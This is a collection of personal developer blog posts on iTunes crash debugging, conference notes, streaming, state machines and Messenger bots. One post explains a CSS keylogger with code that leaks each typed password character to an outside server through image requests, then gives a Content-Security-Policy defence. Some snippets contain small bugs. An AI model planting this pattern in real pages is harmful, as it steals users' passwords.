On a regular Friday afternoon, I pop in my iPhone to do the regular iTunes backup (like any sane person does). It turns out iTunes is instantly crashing when I try to do a backup.

That's not good news.

Trying a couple of times, but still failing, crashes right before I try to do a backup.

Now to give some context on my setup, since I'm using a 128GB iPhone, it's not the best use of storage to backup this mammoth on the primary SSD. I use a symlink approach to point my Backup folder to an external HDD.

First thing I try: as they always say, have you tried turning it off and on again?. I restart the Mac, start clean, no open apps and let's see.

Crash report analysis

Still crashes. Looking at the crash report doesn't give you a hint right away.

Process:               iTunes [2360]
Path:                  /Applications/iTunes.app/Contents/MacOS/iTunes
Identifier:            com.apple.iTunes
Version:               12.9.4 (12.9.4)
Build Info:            iTunes-1200012009004094~15
Code Type:             X86-64 (Native)
Parent Process:        ??? [1]
Responsible:           iTunes [2360]
User ID:               502

Date/Time:             2019-07-12 23:47:10.284 +0100
OS Version:            Mac OS X 10.14.4 (18E226)
Report Version:        12
Anonymous UUID:        <MASKED>


Time Awake Since Boot: 840 seconds

System Integrity Protection: enabled

Crashed Thread:        21

Exception Type:        EXC_BAD_ACCESS (SIGBUS)
Exception Codes:       KERN_PROTECTION_FAILURE at 0x000070000e218ff8
Exception Note:        EXC_CORPSE_NOTIFY

Termination Signal:    Bus error: 10
Termination Reason:    Namespace SIGNAL, Code 0xa
Terminating Process:   exc handler [2360]

Seems that iTunes is trying to access something it's not supposed to?

First thing comes to suspicion is the symlink. Maybe some folder structure changed or the symlink broke for some reason (drive name change, etc..).

I delete the /Library/Application Support/MobileSync/Backup symlink just to be sure. Guess what? Still crashes.

Looking further down through the crash report,

Thread 21 Crashed:
0   libsystem_platform.dylib      	0x00007fff69140271 _platform_strlcpy + 23
1   libsystem_c.dylib             	0x00007fff6902223e realpath$DARWIN_EXTSN + 291
2   com.apple.iTunes              	0x000000010f23eb8e 0x10e906000 + 9669518
3   com.apple.iTunes              	0x000000010f23dbd0 0x10e906000 + 9665488
...

Now _platform_strlcpy is darwin's strlcpy C function which (you guessed it) copies a string. Now what is iTunes trying to copy and failing?

My suspicion starts to go to any recently installed apps that might conflict with iTunes, I have recently installed MalwareBytes after the busy month of June Malware festival that was happening. Could it be that MalwareBytes is attempting to "scan" iTunes and causes it to crash?

Spolier alert, uninstalling MalwareBytes does not solve the issue.

Upgrading MacOS

Glancing through hoakley's MacOS 10.14.4's known bug list, it seems there are some that have issues with the APFS file system. Maybe that's it?

Upgrading to Mojave 10.14.5 does not solve the iTunes crash. So maybe 10.14.4 corrupted the filesystem somehow, let's run First Aid.
First Aid reports some directory failed checks that it is not able to solve.

Checking snapshot 1 of 6.
error: directory valence check: directory (oid 0x13): nchildren (1) does not match drec count (0) 
warning: snapshot fsroot tree corruptions are not repaired; they'll go away once the snapshot is deleted
error: directory valence check: directory (oid 0x150045): nchildren (2) does not match drec count (0) 
error: directory valence check: directory (oid 0x150063): nchildren (2) does not match drec count (0) 
...

Now I've dealt with corrupted disks before and trust me, it ain't fun. Literally anything and everything can go wrong with a corrupted filesystem and it becomes near impossible to debug.

So before giving up and reformatting, I decided to give it another shot, what else can go wrong?

To eliminate variables as much as possible, I try loading up iTunes on a different User Account. Guess what? It works perfectly fine.

We got a lead!

It now seems that my user has some kind of corrupted settings that iTunes cannot access. Now let's get rid of anything user related that iTunes would access and it should work, right?

Still crashing, iTunes recreates these settings files and crashes shortly after navigating to the iOS device tab.

At this point I was on the verge of giving up and just popping in the Time Machine and going back to when it was working, but that is rather a destructive solution that would not solve the root cause (which will probably return and haunt me again).

Another less-destructive solution would be to just create a new user and continue life there, but still the bug might return.

Dig deeper, debugging tools

Xcode

Debugging in Xcode was quite interesting, iTunes did not crash when attached to the debugger. This is probably due to Xcode cutting the process some slack when it comes to stack allocations (as we will see below)

fs_usage

A very useful debugging tool I use is fs_usage, it watches the process manipulate files in the filesystem and enables you to track down what's really going on. It can be very useful if you are suspicious of a process and want to know what it's doing behind the scenes.

sudo fs_usage iTunes

LO AND BEHOLD!

Right before iTunes crashes, it's trying to access these files:

Now what does iTunes have to do with this directory? Why is it trying to access PokeMMO's Application Support?

PokeMMO is an Unofficial Online Multiplayer Pokemon game that I was really hesitant when installing. It's closed source and seemed shady. (Turns out I was right, kinda?)

As you can see in the screenshot, it's trying to access the same directory, over and over again, around 200,000+ times. This is absurd!

Right before this massive recursion or loop:

/Users/ahmedshehata                                     0.000004   iTunes.184583
14:42:26.798987  getattrlist                            /Users/ahmedshehata/Pictures                            0.000004   iTunes.184583
14:42:26.798992  getattrlist                            /Users/ahmedshehata/Pictures/PokeMMO Screenshots

It looks like iTunes is accessing the /Pictures directory (probably to get sync data for photos synced with the iOS Device).

Looking at the /Pictures directory and this is where we finally find our culprit. A rouge recursive symlink that has been causing iTunes to crash.

The filesystem calls to list the Pictures directory was probably causing the stack to overflow when listing through this recursive symlink.

Now recursive symlinks are no fun, they can break apps randomly, cause the SSD to wear out and cause lots of horrible things to happen.

Deleting the symlink solves the issue as expected.

I hope you have learned some useful debugging skills that can help you find the root cause of some undefined behaviour of a program without resorting to extreme measures (such as re-installing Operating System or recovering).

TLDR: PokeMMO creates a recursive symlink in /Pictures directory that caused iTunes to behave abnormally and crash.

Thanks for reading and let me know in the comments if you have faced a similar situation and used some cool debugging tools yourself!

This year's We Are Developers conference was held in Vienna, the agenda seemed pretty interesting with a lot of talks and workshops.

Our team at Zalando flew there to check it out, I will present my key learnings and notes from the conference:

Talks

Steve Wozniak - Fireside Chat:

• Steve chats about the past, present and future. He spoke about how he started Apple and how was it like back then as a “Startup in a Garage”
• He also talked about what he does nowadays supporting some startups and enjoying life.
• He talked a lot about Facebook and social media and how it is eating up life, he prefers enjoying life without smartphones.
• He briefly talked about bitcoin and cryptocurrencies and thinks it has a big place in the future.

AI: Tidal Wave - Joseph Sirosh (Microsoft)

• Microsoft has opened up a bunch of Azure APIs to developers which would help them bootstrap their apps and chatbots that use AI/Machine Learning/Computer Vision
  https://azure.microsoft.com/en-us/overview/ai-platform/
• Joseph demoed how easy it is to bootstrap a smart chatbot.
  He also demoed a project where some students bootstrapped a full app to help autism in France in just under 2 weeks. The project used the machine learning Azure API to learn from the user behavior and adapt to that, they got some pretty good results.
• Joseph demoed that using Azure APIs for machine learning and AI, for the JFK assassination documents use case, they were able to link documents together and find new evidence links linking to the case that they previously thought were impossible.

Future of the Web - Ilya Grigorik

• Ilya talked about how the web looked like a few years ago and how it looks like now.
• He mentioned that the web was designed responsive from day 1 (CSS,HTML) but people never used the responsive capabilities
• He talked about using slight improvements in code and infrastructure that would greatly improve the user experience
• He also talked about instant web apps and how this improves user experience (example twitter)
• He talked about PWAs and how smooth it is to the user (Starbucks app)
• We moved from Web Only → Mobile Friendly → Mobile first → Mobile only
• He mentioned how server side apps make the web more fluid.
• He also talked about Desktop apps written in full Javascript/HTML using Electron (VSCode, Spotify, Slack, etc..)
• WebAssembly is also pretty big as it allows full sized desktop apps to be ported to the web (example: Autodesk)
• He talked about how Google is trying to enforce security (HTTPS) to the world by utilizing the power they have with Chrome
• He talked about how Google is prioritizing Mobile-Friendly websites in search results over desktop-only

Facebook: Bringing AR to Everyone - Elise Xu

• Elise from Facebook demoed how advanced AR has come, and how is it situated in the 10-year vision for AR.
• Currently at the 2-year mark, there are still a lot of work to be done, but they are on the right track.
• AR has come a great way and Facebook has its own AR Kit to produce quality AR apps via its platforms.

John Romero - Doom

• John talked about his journey in DOOM development and how they thrived as a small game development studio.
• He talked about how they worked as a team and how they were really enthusiastic about their product, they worked day and night, and on weekends.
• He talked about the time where they had to work on the Nintendo SNES which was a different architecture and they had to port their original code to SNES.

The Power of CSS - Una Kravets

• Una demonstrated a lot of CSS tips and tricks that would help speed up rendering and do more with less code.
• She demonstrated some new CSS tricks that can be used today to replace what we used to do with JS in the past, making it more efficient and flexible

Trunk based development - Matthias Huttar (OLX):

• Matthias from OLX talked about how Github flow style was a little bit too slow for them in case they want to develop faster and see more results
• They used Trunk based development which is essentially pushing directly to the master without blocking for pull request review.
• This approach has pros and cons, the pros being development faster and being able to test more features in less time.
• The cons being that the code is never reviewed, the code can be messy and untested at times, it might contain bugs
• They have mentioned that it will help in a startup-based environment where speed matters more than quality.

Successful, Accomplished, Depressed - Dennis Traub

• Dennis talked about his experience and adventure from being completely depressed and destroyed to feeling accomplished and successful.
• He talked about his story and how he was not welcome in his own family (due to family issues) and how that affected his life later on.
• He mentioned how people boast their success on social media and online, but this is not a measure of happiness
• He talked about perfectionism and how this slows down your accomplishments and achievements
• One of the main points of Developer Burnout is that our results are not tangible, code is just on the computer, psychologically we feel we are doing the same thing everyday with no physical output.
• We keep making/finding excuses of why we didn’t succeed so we can feel better and safe, example: Oh I didn’t pass the test because I didn’t really study, if I would have actually studied, I would have passed the test.
• There is always this perfect version of yourself that you never really do, but it is in your mind.

Chris Heilmann - Sacrificing the golden calf of coding

• Chris talked about best practices, how good code is less code (IKEA like), where code is very flexible and simple
• He also talked about re-using open-source software and components and contributing to them
• He also talked about automation and AI and how it is changing our every day thoughts
• He talked about everyday development tools and how easy it is to develop, lint, validate
• He spoke about how recruiting is so automated now and redundant that someone's Github bot got a job offer (by tracking its commits)
• He talked about automating redundant tasks so developers can save more time on more important issues.

Brenda Romero - Surviving as a game dev

• Brenda talked about her life as a game developer and how it was pretty strange back then to be a “geek” or a game developer.
• She mainly spoke about having passion and confidence in what you love and never stop at road bumps.
• Currently she and John Romero are living in Ireland creating their own games at Romero Games.

Sending money with Interledger.js - Stefan (Ripple)

• This talk was pretty interesting as Stefan from Ripple talked about a different future of the web using cryptocurrency
  The main idea of his demo was to have everything on the web with a price; People would pay to use a website, just a small fee while using the website, which would be seamlessly “streamed” while they use it.
• He believes it would encourage creators to create more as only people who believe in their content would pay & watch.
• He demoed a video using a Chrome Extension that continuously spends money as a user is viewing a certain video.

Think of it as YouTube, and instead of annoying advertisements, you pay per minute of video using this extension, it would be a really small fee, but you end up only paying for what you use.
In this future you would not pay the internet companies for internet, but the content creators for their content.

• He also talked about the Interledger Architecture and how it compares to the TCP Protocol

The rise and fall of Jailbreaking - Nicolas Haunold

• Nicolas from Airbnb talked about the state of iOS Jailbreaking and how it has taught him a lot over the years.
• He joined the iOS Hacking community early on and learned a lot from the early days, how Apple implemented security in their software, and learned how to circumvent it.
• He spoke about Cydia and how it started as a tweak store, then transformed into a full jailbreak-store.
• He spoke about how Apple learned a lot as well from the iOS Jailbreak community and started to implement features (example: notifications, the AppStore, Widgets, etc..
• Nowadays Jailbreak is unfortunately really not so popular for two main reasons:
  • Apple has almost implemented most of the features that people used to Jailbreak for.
  • Apple have implemented really tight security in their platform that it has become very difficult & time consuming to find an exploit, if someone finds a really hard exploit they are more likely to sell it to governments or security agencies than release it to the wild (getting patched just a day later by Apple).
• He feels that the hackers/tweakers community will never die, but people will continue to modify the system as they like.

Bitcoin, Ethereum, Open Blockchains: Building Programmable Money (Andreas Antonopoulos):

• Andreas Antonopoulos is an avid speaker, author and expert about open Blockchain.
• He spoke about how blockchain technology is the future and how governments are afraid of it because they cannot control it.
• He mentioned that blockchain is unstoppable and no single entity can control or stop it.
• He mentioned that we are still way early in the blockchain timeline, people still don’t understand it, pretty much like the pre-internet era, when the internet first came out, people didn’t know how to use it and there were no much uses for it yet.

Closing your window with Javascript - Martin Sonnenholzer

• Martin is a hobbyist programmer with a simple thought, he wanted to automate part of his life, particularly his window.
• He talks about his allergy and that he needed to open the window frequently, but the weather in his city was changing frequently so he had to somehow equalize the temperature
• He had the idea of automating this procedure, he purchased a temperature sensor, motor for moving the window, and an Arduino. With this simple setup he could program a simple Arduino program that would regulate opening/closing the window whenever the temperature changes

Joel Spolsky on Software

• Joel closed the conference with a great talk about how they built StackOverflow and how lightly they thought about it in the past. Today StackOverflow is one of the main go-to websites for development.
• He believes developers are confused by ill-written documentation and need some extra help from others who had the same problem.
• He explained how the voting system in StackOverflow greatly improved the system and allowed users to easily find what they were looking for, thanking the people who have answered in progress.
• Finally he mentioned that we should all be respectful to each other, he briefly mentioned internet bullying and how it would affect people asking questions online.

Workshops

Facebook AR Workshop - Yash Sahay

• I attended a workshop by Facebook where they demoed how easy it is to create AR apps for the Facebook platform
• The AR Studio is more mature now and has a pretty easy drag-drop mechanism for creating AR Filters
• The interface and UX is similar to Unity3D and is really easy for starters (even non-coders can make a filter)
• Yash from Facebook presented a small demo on how simple it is to create an AR effect from scratch using AR Studio with a simple PNG image.
• Features like tracking the face, eyes, mouth come out of the box, example: (show filter only when right eye is blinking, etc..)

Tried out HoloLens @ Microsoft Booth:

• Unfortunately it is still far from perfect, or actually usable. We tried a BMW advertisement demo where you can customize your BMW car (color, rims, etc.) in AR
• The problem with Hololens so far is the clunky hardware (but that’s fine, I know it is still early for proper slimmer hardware), but the field of vision. The FoV is pretty small, so you keep losing sense of the AR world if you slightly drift off the AR vision square in the headset.
• The UX (air tapping) is pretty odd for first starters, and not so accurate, but I believe people will get used to it and find even more UX.

Real Security starts where Frameworks end : Security Workshop

• Thomas from SBA Research conducted a 101 Security workshop which explained the top 10 security topics (by OWASP) and how people are still falling for these pitfalls.
• He gave a demo of how simple XSS can be applied to the most simple pages, allowing the attacker to gain access to the filesystem and do what they please.
• He spoke about modern web frameworks and how updated they might seem, yet they do not handle basic security features like sanitizing input, etc..

Thank you.

It's that time of the year again, the realistically-probable TV show WestWorld is back with another season that predicts our future and how AI will take over the human race. It's time for some binge watching!

Sky Ticket

Ever since I started searching for WestWorld on Google, I started seeing SkyTicket ads everywhere for WestWorld, I thought I would give it a shot, 4.99 € for 2 months is a good deal to try it out.

I registered for the subscription and started watching the first season for a quick recap. Using an Android TV based Sony Bravia, the first problem was that Sky Ticket was not available for Android TV. Luckily, my TV has Chromecast built in so it was possible to cast the video from my phone. After changing the audio language to English, the only problem was the accent of some actors (or my TV sound isn't that great).

I thought sure, let's turn on the subtitles (like Netflix) and everything would be cool, but NO, Sky Ticket does not offer subtitles. You cannot even add your own from a file (SRT for example), which really sucks. Fiddling around and searching online (using my great German skills), I only found support tickets for Sky Ticket saying it doesn't support subtitles.

Second solution I thought about was playing the video on my Mac and somehow overlaying the subtitles, then AirPlaying the content to the TV. Guess what? Sky Ticket on PC/Mac uses Silverlight, which is not even supported on Chrome (so no extensions), and it plays in horrible SD quality.

The Teleprompter

Having been fed up, I decided to go to the bare metal approach, the teleprompter. You can't go wrong with hardcoded bare metal right? Wrong.

I downloaded a blank 2-hr video and downloaded the subtitles for WestWorld, loaded it on VLC and started watching.

Everything was fine for a few minutes, then subtitles seemed to drift off slowly (VLC seemed slower than the TV). Adjusted the sync and again it happens! I thought it might be the subtitles being a bad translations but no, every file I tried was losing sync.

Next culprit would be VLC right? Maybe my 2-hr long video had VLC start being a smart-ass about translations and try to sync on its own. I tried trimming the blank video to match exactly the episode length, same problem.

Hmm that's weird.. I played around with the playback speed to see if I can speed up the VLC video to match up with the video and my theory was right!

Somehow the video on SkyTicket is sped up by a factor of ~1.05x the normal speed. And this was for every single episode I watched. Pretty weird, right?

To confirm my theory I checked the running time of the episodes on the SkyTicket website and cross-checked it with IMDB. Turns out it's always around the same factor,

SkyTicket: S02,E01: 1hr,07min
IMDB: S02,E01: 1hr,10min

The difference is 70/1.05 = 66.66666667, ~67 mins.

So what is this?

Why would Sky do that? Speeding up the show by 1.05x is not so significant to the average viewer, but it is significant to the computer. What's the point? Is it saving a couple of extra megabytes on their servers? I don't think so.

I've seen a lot of piracy prevention methods, but this one (if true) is very interesting. Of course the ~1.05x number I have reached is a very rough approximation, it is probably way more detailed than that (example; 1.056543456543x). This small amount will not alert the pirate, but will help them identify who is leaking the episodes and track them down.

If every customer has a unique speeding up speed, they can download the pirated copy online, compare it with the original, and get this speed up factor, tracking down the exact account leaking this episode.

Imagine user John has speed up 1.056543456543x and user Jake has speed up 1.0556789876567x, still in the range of 1.05 but different to the machine, this would allow Sky to identify which of them has leaked the episode.

Again, it might be a completely different reason why the episode is sped up, these are just my thoughts, and I think it would be pretty interesting if that was the case.

Thank you for reading.

A very dangerous yet simple technique has been discovered by developer maxchehab which allows a simple CSS styling script to capture your password. Yikes!

The concept is pretty simple, consider the following code:

HTML:

<input type="password" id="password">

CSS:

input[type="password"][value$="a"] {
  background-image: url("http://coolcss.com/a");
}

input[type="password"][value$="b"] {
  background-image: url("http://coolcss.com/b");
}

input[type="password"][value$="c"] {
  background-image: url("http://coolcss.com/c");
}

Javascript:

const passwordField = document.querySelector("#password");
passwordField.addEventListener("keyup", (e) => {
  passwordField.setAttribute('value', passwordField.key)
});

Imagine my password (for simplicity sake) was "abc". If I was using a controlled component like React, every value change for the input would trigger an event. Our Javascript code would capture this key event, change the CSS background-image value to our malicious server that intercepts these requests, sometimes even rendering a blank image just to defer any suspicions. The malicious server would record every request it has received, thus having your password logged in plain sight.

Should I panic and delete all external styling libraries I'm using?

Well not so fast, most well-known libraries are either open-source and heavily supported by the community, you would probably hear it in the news before your user base is compromised, or are heavily backed up by trusted companies.

Either way, if you really want to make sure your application is protected from external scripts:

Content-Security-Policy: script-src 'self'; img-src 'none'

Adding this to your headers would prevent scripts from loading their own dependent scripts once their loaded. Unless you explicitly state otherwise. More reading on Content Security Policy.

There is a lot to learn about a "Finite State Machine".

A little intro, what is a FSM?

A Finite state machine is an abstract model of computation, which can be in only one finite state at a specific moment. Finite State Machines are used to model problems in different domains such as AI, Games, application flows, etc..

In simpler words: It describes how a program should behave, by specifying pre-specified states and routes between them.

A Real World Example

Let's imagine a safe lock:

Photo by Micah Williams / Unsplash

Simply, this lock has 2 states, locked and open. Depending on the transitions between these states, these are the routes/transitions.

Let's say every action is a transition, so every button you click on the lock, it will still be in the same state Button pressed.

Only after entering the correct combination, the lock will move to the open state. Afterwards, there is a security timeout, that returns to the locked state after a certain time Timeout expired.

Let's imagine a very simple manual way to code this lock in Javascript.

const OPEN_STATE = "open";
const LOCKED_STATE = "locked";
const lockTimeout = 3000;

class StateMachine {

  constructor(code){
    this.state = LOCKED_STATE;
    this.code = code;
    this.entry = "";
  }
  
  
  enterDigit(digit) {
    this.entry += digit;
  }
  
  unlockDevice() {
    if(this.entry === this.code) {
      this.state = OPEN_STATE;
      setTimeout(this.lockDevice,lockTimeout);
    }
  }
  
  lockDevice() {
        this.state = LOCKED_STATE;
        this.entry = ""; 
  }
  
}

const fsm = new StateMachine("123");
console.log(fsm.state);

fsm.enterDigit("1");
fsm.unlockDevice();
console.log(fsm.state); // prints "locked"

fsm.enterDigit("2");
fsm.unlockDevice();
console.log(fsm.state); // still "locked"

fsm.enterDigit("3");
fsm.unlockDevice();
console.log(fsm.state); // "unlocked"

Every time unlockDevice() is called, it checks the current entry if it matches the code, this is called the transition condition. If true, it allows the state to transition to the next (or previous state).

Here are some examples of FSM libraries in Javascript that you might find useful:

• https://github.com/jakesgordon/javascript-state-machine
• https://github.com/ianmcgregor/state-machine-js

Our use case

At Zalando, we are responsible for building the Guest Checkout Flow to allow non-Zalando customers to be able to purchase without an account. We first started with the basic flow, didn't have much in mind on what's to come.

The basic flow was:

Product Page -> Personal Info -> Address Info -> Payment -> Confirmation -> Receipt

Every page in this design was responsible for the transition to the next page, example:

// product-detail.js

// ...
const buyButtonClicked() => {
    goToPersonalPage();
}
// ...

// personal.js

// ...
const confirmButtonClicked(personalInfo) => {
    if (personalInfoComplete(personalInfo)) {
        goToAddressPage();
    }
}
// ...

But there's one small flaw with this basic, simple design. It's not extendable, not even testable.

Our product team wanted to introduce some new functionality to the flow, namely "Login Functionality", which would completely break the whole design.

The logged in user would have different scenarios, some users have address information filled in, some don't, some have payment, others do not.

If we were to follow the same basic design we started with, we would have tons of if-else statements flying around everywhere, an example of these new flows would be:

Logged in users, without personal info or Address info:
Product Page -> Login -> Personal Info -> Address Info -> Payment -> Confirmation -> Receipt

Logged in users, without payment info:
Product Page -> Login -> Payment -> Confirmation -> Receipt

Logged in users, without address info, BUT HAVE PAYMENT:
Product Page -> Login -> Address -> Confirmation -> Receipt

Logged in users, without payment info:
Product Page -> Login -> Address Info -> Payment -> Confirmation -> Receipt

And what about Guest Users now? Too much if-else.

Enter The State Machine:

This design screams for a state-machine like design, we laid down the states we want, defined some rules between them, and let the state machine do it's magic.

This is a simplified example of how the FSM would work, if you notice, almost all pages return back to the FSM for consultancy on where to go next?. The FSM has validation rules that allows it to decide what to do next, it uses the Redux Store to decide.
We called this function, goNext(). We defined all the possible rules and transitions we have in the system, a fallback would be to just render the product page if the state is not compatible with any of the transitions.

The state machine takes the state, follows through the rules and keeps "going next" until it finally reaches the proper state.

An earlier example of a user with personal + address but with no payment would be:

Personal state: User? Has personal? Yes? Go next.
Address State: Has address? Yes? Go next.
Payment: Has payment? No? stay here.

A challenge to that design

A good challenge to this design was the implementation of going back. The state machine was design to always move forward, right? What happens if the user decides to go back to the previous page? Luckily the Redux State System manages this, however it was not implemented in our initial design with goNext(). The answer is simple. We implemented goPrev(), which would have the same concept of going forward, just the other way around. Same rules apply, different direction. It worked quite well, after ironing out some nasty bugs.

Pros of this FSM Design

• Easily maintainable, transitions and states are clearly defined
• Testable, unit tests can easily be written with pre-defined states for multiple scenarios
• Easily extendable, allowing for new states to be just plugged in along with their rules

Cons of this FSM Design

If some scenarios are not well defined, the FSM just redirects the user to the product page when they were almost in the payment page, for example if some underlying backend service (ex: a payment provider) returns an unexpected response, the Redux state would get corrupted and the FSM wouldn't know what to do, redirecting the user to the product page, leaving the user confused on "what the hell happened to my credit card now?"

We try to cover as much scenarios as possible, also providing the user with a proper error page so that they do not get confused.

A next-step improvement would be allowing the FSM to "re-try" if something fails.

And as they say, computers & humans aren't perfect.

I vividly remember the day when Facebook announced the switch from Facebook Inbox to Facebook Messenger, I laughed, I was wrong.

Back then I used MSN Messenger every day, there was no way Facebook would replace MSN Messenger with all of its amazing features with this dull web based chat interface. Fast forward to today, MSN is dead, Facebook Messenger is thriving and well.

So what happened here?

Facebook was already connecting people on its platform, people were already using Facebook Inbox as a chat platform, it was just not ready for primetime yet. Facebook took this opportunity to develop its messenger product to leverage this connection and keep everyone on the same platform, which made sense.

Facebook Voice & Video Calls

Facebook introduced Free VOIP calls, which I think is one of the core features that messenger has, connecting people even more. If you have everything on the same platform, why would you switch to a different app?

Facebook Instant Apps & Games

In 2015, Facebook released in-messenger HTML5 Apps and games, in an attempt to guide software developers to create apps within Messenger, since Messenger was one of the most used apps on the App Stores, might a well turn it into a platform, right?

The problem

The problem with this approach -I believe- was the introduction of the feature, people were confused if this was a real app/game or was it just a web app within Messenger. It didn't do so well as Software Developers as well were confused, HTML5 didn't offer the full features they needed to make a fully fledged app, and they would rather be in control of their app anyway. The platform was fun for quick small easy games, but not for fully fledged apps.

Facebook Messenger bots

Facebook released the Messenger Bot platform in 2016. The concept behind bots is simple yet very powerful,

People are using messenger every day to interact with their family and friends. They also contact business pages for their business queries.

The problem was that these business chat pages are not online 24/7 and some of them cannot handle the vast amount of requests they receive. The good news is that most of these operations can be automated, ex: ordering a pizza or a cab.

What do businesses use Messenger for today?

• Raise awareness for brands
• Acquire new customers
• Enable transactions
• Customer support
• Interact with customers, collect feedback

Enter: The Facebook Messenger Bot

The Messenger bot -in theory- would be able to handle all customer queries with 100% accuracy, while being friendly, just like a customer service rep would.

But that's not the case, yet.

Most businesses have jumped into the bot craze too soon, without having a proper robust infrastructure that would handle user requests, leaving the user confused with a pretty useless bot, that just links them to the business website or plainly states that this bot isn't in service any longer.

Some businesses have transformed their website experience into a bot experience:

Which allows the user to browse products within the Facebook Messenger app (using images and carousels), but that's still not a genuine bot experience.

This doesn't only affect the business perception in the user's mind but also the Bot Platform itself. Users have become confused about what the bot platform reason to exist is. Is it just a new interface for the brand website? Is it an automated bot with pre-computed replies?

The problem

People want a genuine experience that would solve their problem and return their queries in an easy, precise manner with no auto replies.

Imagine the 100% success use case, the bot is extremely smart (human-smart) and can respond to your queries in no time, this would potentially replace Customer-Service. Use cases for this would be:

✅ Ordering a pizza
✅ Ordering a cab (Uber/Lyft)
✅ Organising a trip

And a lot more, but what's still missing is the human factor, and this is prevalent in human-centric requirements, for example:

🔴 Fashion advice: While image recognition and AI are in a pretty advanced state. We are still not there yet, the human factor is missing.
🔴 Real customer service for a complex problem: Imagine you have a double-booking charged to your card, or you ordered something on Amazon by accident, try explaining that to a bot today.
🔴 Tech Purchase Advice: Imagine you're in the market for a new laptop and you need to speak with a 'Tech Guru' that will walk you through the features and match them with your needs.

I believe Facebook is on the right track with the bot platform, however they need to enhance it even more and help confused developers/brands to connect more with users, not just being there for the platform sake, or we will have a really early bot-fatigue.

Like every year now, Facebook has kicked of F8 with a plethora of new exciting announcements and product reveals, this year is no different. I flew over with my team to California to attend the keynote, here are some of my key takeaways and notes from the conference.

Mark Zuckerberg kicked it off by talking about the company's 10-year vision and the heavy focus on VR/AR:

Mark also dove deep into some cool AR announcements, launching a beta version of the AR Platform, which paves the way for the first AR Platform for mobile.

Using this technique called SLAM which maps virtual objects with precise location in the environment, creating a true feeling of augmented reality.

Using Object Recognition along with depth perception, taking a still photo can be turned into a true 3D scene, this can be useful in recreating old moments or childhood photos into a true 3D simulation.

One of the most interesting features that could be a reality soon is the sweet marriage between AR and Location. Imagine going up to a restaurant, pulling up your phone camera and seeing what your friends think about this place. Imagine leaving a message for our descendants in some foreign country and they can discover it years later (too much sci-fi). Of course the main bottleneck here would be pulling up your smartphone to do this action, which I will cover in a bit.

The Utopian vision of the future is having a truly augmented mixed reality with just simple glasses (that actually look normal) which can map anything into your real world. Be it a TV projection on your wall, a 3D game or even holograms of your friends so you can 3D-chat.

Going back to today's world, Mark states that we already have most of this technology in our smartphones' camera, so it makes perfect sense to start the AR platform there first.

Mark believes that the smartphone is eventually going to die, and that smartglasses will be the one replacing it, everything would be in mixed reality right in front of you. And the great thing about this is that the technology that Facebook is working on today, is building up and going to be the same one used in the smart glasses in the future, so it is definitely on the right track. This is actually what impressed me the most about the keynote, I believe that this vision (even though maybe far) is very probable, even though it might even be a different form factor, but I believe that the smartphone will be replaced sooner or later.

Just imagine your Facebook AR Glasses (with the help of facial recognition) can show you more information about a friend you've met before or tell you their name. Sounds creepy? It's the future.

However to reach this stage, there are a lot of scientifcal advancements that need to be met in order for this to happen, and here is why I think Facebook will be the first to do so:

• Optics & Displays: Oculus
• Interaction: Oculus
• Computer Vision: Facebook
• AI: Facebook AI Labs
• System Design
• UX: Facebook

The day will come, and it will completely change what we think about technology we do today.

Virtual Reality is also in mind

Utilizing Oculus since its acquisition in 2014 was a good choice, Facebook is trying to pave the way for a full VR Facebook world in the future. It is still in its very young stages, but it's showing great progress year over year.

Future AI Goals in mind

AI Research at Facebook (and in the industry in general) is rapidly growing smarter and smarter everyday, one of the most important use cases right now is Prediction and Autonomous driving (like what Tesla is doing right now). I believe this is the most important field right now, making computers understand us is the next step in the technological revolution.

Free 360 Camera, WOO!

Facebook has also recently integrated 360 Videos in their platform, and as a result, they generously gifted everyone in the F8 Conference a free 360 Giroptic IO 360 camera!

3D 360' is the new 360

One of the more interesting subjects is how Facebook is investing in capturing 3-Dimensional 360 images, they have talked about their Surround360 24-array camera that aims to capture the full scene in 3D, which can utilize Oculus for example to move around the scene. They also demoed that -with the help of AI algorithms- it can also be done with a smartphone camera.

Imagine having to take a photo with your phone, and going back to re-live this moment in all of its 3D-glory. Now that's what I call a Live Photo, Apple.

Skin talks!

One of the interesting demos they also showed was the ability to use actuators on the body of a person to translate a sentence to the person without speech or vision, just using skin!

They placed these actuators which vibrate to a certain sequence which signal to her brain a specific object/verb she has learned. They have managed to reach 3 word sentences in just under one hour with ease. This is a very interesting advancement in the field of alternative senses.

In the following weeks I will post some more notes on individual talks which interested me the most. Thank you for reading.

I know, I know before you say anything, social life is the core of everything. But that's not what I'm here for.

Think about it for a second, you know for a fact that your mind is much faster than your speech, ie: you think of a sentence in less than a second, you spend more than 2x of that actually saying it.

Let's take a typical Human English conversation (between Alice and Bob):

Alice: Hey Bob, good morning, how are you today? 3 sec
Bob: Hey Alice! I'm fine thank you, how about yourself? 4.5 sec
Alice: I'm great! Have you seen the weather today? It's terrible. 5 sec
Bob: Yeah, this Winter is really getting on my nerves. How was your weekend? 5.5 sec
Alice: It was boring, we stayed at home since little John was sick. What about yours? 6.5 sec
Bob: Oh what a pity. We went to the movies to see the new Spiderman movie. 5.5 sec
Alice: Oh I heard it's great, I want to see it next week with the kids. 4.5 sec
Bob: You definitely should. Alright I will see you soon, Alice! 4 sec
Alice: See you soon, Bob! 2 sec
Total: 40.5 sec, accounting for breathing space, would be ~43 seconds

I used Google Translate Speech to calculate the timings, and this is just for the English language and depending on how fast a person talks. But keep in mind that differences in language speech speed doesn't necessarily mean that some languages are faster than others.

Photo by Arthur Miranda / Unsplash

So what's the deal here?

I believe this example of ~45 seconds of just a small trivial conversation is what makes us slower, also bear in mind some language barriers and lost-in-translation kind of conversations.

Imagine for a second that your speech is as fast as your brain, that you can digitally send ideas to the other person, regardless of what language they spoke. How many hours would you save per day?

Imagine reading an entire book by digitally downloading it to your brain with a click of a button, saving you -probably an entire month- of time!

What about social life?

People would still be having conversations, just faster. Imagine that people would kind of "pair" initially, and then after the connection has been established, they can freely think what's on their mind to the other person, having conversations in a blitz of a second.

Still, people would disagree and believe this is turning us more inhumane than we already are (with smartphones in our hands all the time). I would disagree with that theory as well, maybe not for every day conversations, but maybe for knowledge sharing or learning (the book example).

Seeing where technology is going right now, I believe this is very plausible in the near future.